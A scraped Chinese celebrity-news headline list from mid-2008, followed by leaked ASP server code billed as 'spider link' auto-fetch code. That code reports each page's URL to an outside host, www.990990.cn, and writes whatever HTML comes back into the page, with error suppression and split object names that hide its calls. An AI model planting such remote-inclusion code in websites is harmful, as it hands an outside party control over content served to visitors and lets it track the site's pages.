| ·[图文] 越南艳照门事件始作俑者被判刑 |
2008-06-12 |
0 |
|
| ·[图文] 布兰妮墓地将与玛丽莲·梦露为邻 |
2008-06-12 |
0 |
|
| ·[图文] 传聂远将出演新版唐僧 |
2008-06-12 |
0 |
|
| ·[图文] 梁洛施首谈与英皇官司 为争取公平同尊重而战 |
2008-06-11 |
0 |
|
| ·[图文] 章子怡将携手休·格兰特演好莱坞喜剧 |
2008-06-11 |
0 |
|
| · 王宝强再演小兵 新剧片酬八万一集 |
2008-06-11 |
0 |
|
| · 谢霆锋直面艳照门:早知艳照泄漏 |
2008-06-10 |
0 |
|
| ·[图文] 陈为民诬告前女友获刑4个月16日入监 |
2008-06-10 |
0 |
|
| ·[图文] 韦唯等群星录制英文版《爱的奉献》 |
2008-06-10 |
0 |
|
| ·[图文] 王志文成准爸爸 陈坚红挺大肚坚持工作 |
2008-06-06 |
0 |
|
| ·[图文] 变性人利菁被曝缩胸 |
2008-06-06 |
0 |
|
| · 赵忠祥创作旧体词《临江仙》祭奠地震遇难同胞 |
2008-06-06 |
0 |
|
| · 阿娇想复出三度被拒 陈冠希将返港变身CEO |
2008-06-05 |
0 |
|
| · 何润东怕老与干儿子断绝父子关系 |
2008-06-05 |
0 |
|
| ·[图文] 刘德华赈灾善用火炬 先卖出再买入筹得265万 |
2008-06-05 |
0 |
|
| · 朱莉双胞胎照叫价已飙至1500万美元 |
2008-06-04 |
0 |
|
| · 陈道明被推举做明年5·12关爱行动慈善领军 |
2008-06-04 |
0 |
|
| · 韦唯再结异国缘 新男友还是老外 |
2008-06-04 |
0 |
|
| · 歌手孙悦决定再领养一个灾区孤儿 |
2008-06-03 |
0 |
|
| · 周迅任联合国亲善大使年薪1美元 |
2008-06-03 |
0 |
|
| ·[图文] 旧情人为赈灾不计前嫌 黎明舒淇破例同场 |
2008-06-03 |
0 |
|
| ·[图文] 全国哀悼日行为不当 魏晨公开道歉 |
2008-06-03 |
0 |
|
| ·[图文] 16岁男生唱 张惠妹灾区收徒 |
2008-06-02 |
0 |
|
| ·[图文] 张茜走出流产阴影准备复出 |
2008-06-02 |
0 |
|
| · 张曼玉再义卖42万助灾区 |
2008-05-30 |
0 |
|
| ·[图文] 大S为新片累倒片场暂停工 |
2008-05-30 |
0 |
|
| ·[图文] 陆毅鲍蕾夫妇欲资助10个孩子至大学毕业 |
2008-05-30 |
0 |
|
| · 明星慰问团走进灾区 刘德华行军礼蒋雯丽痛哭 |
2008-05-29 |
0 |
|
| · 阿娇请缨赈灾义演英皇拒绝 国外读书准备复出 |
2008-05-29 |
0 |
|
| ·[图文] 欧阳奋强义卖《记忆红楼》 |
2008-05-29 |
0 |
|
<%
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 开始 ---------''''
'' 参数宽(width)、高(height)、行(row)、列(col)可自行调整
Response.Write GetLink("88" , "31" , "1" , "6" , "1")
Function GetLink(width,height,row,col,secure)
On Error Resume Next
Dim Url
Url = "http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then Url = Url & "?" & Trim(Request.QueryString)
Url = "http://www.990990.cn/put.php?row=" & row & "&col=" & col & "&width=" & width & "&height=" & height & "&url=" & Server.URLEncode(Url) & "&secure=" & secure
GetLink = GetHttpPage(Url)
If Err.Number <> 0 Then
GetLink = ""
Err.Clear
End If
End Function
Function GetHttpPage(HttpUrl)
If IsNull(HttpUrl)=True Or Len(HttpUrl)<18 Then
GetHttpPage=""
Exit Function
End If
Dim Http
Set Http=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP")
Http.open "GET",HttpUrl,False
Http.Send()
If Http.Readystate<>4 then
Set Http=Nothing
GetHttpPage=""
Exit function
End if
GetHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
Set Http=Nothing
If Err.number<>0 then
Err.Clear
End If
End Function
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("ad" & "odb.str" & "eam")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 结束 ---------''''
%>
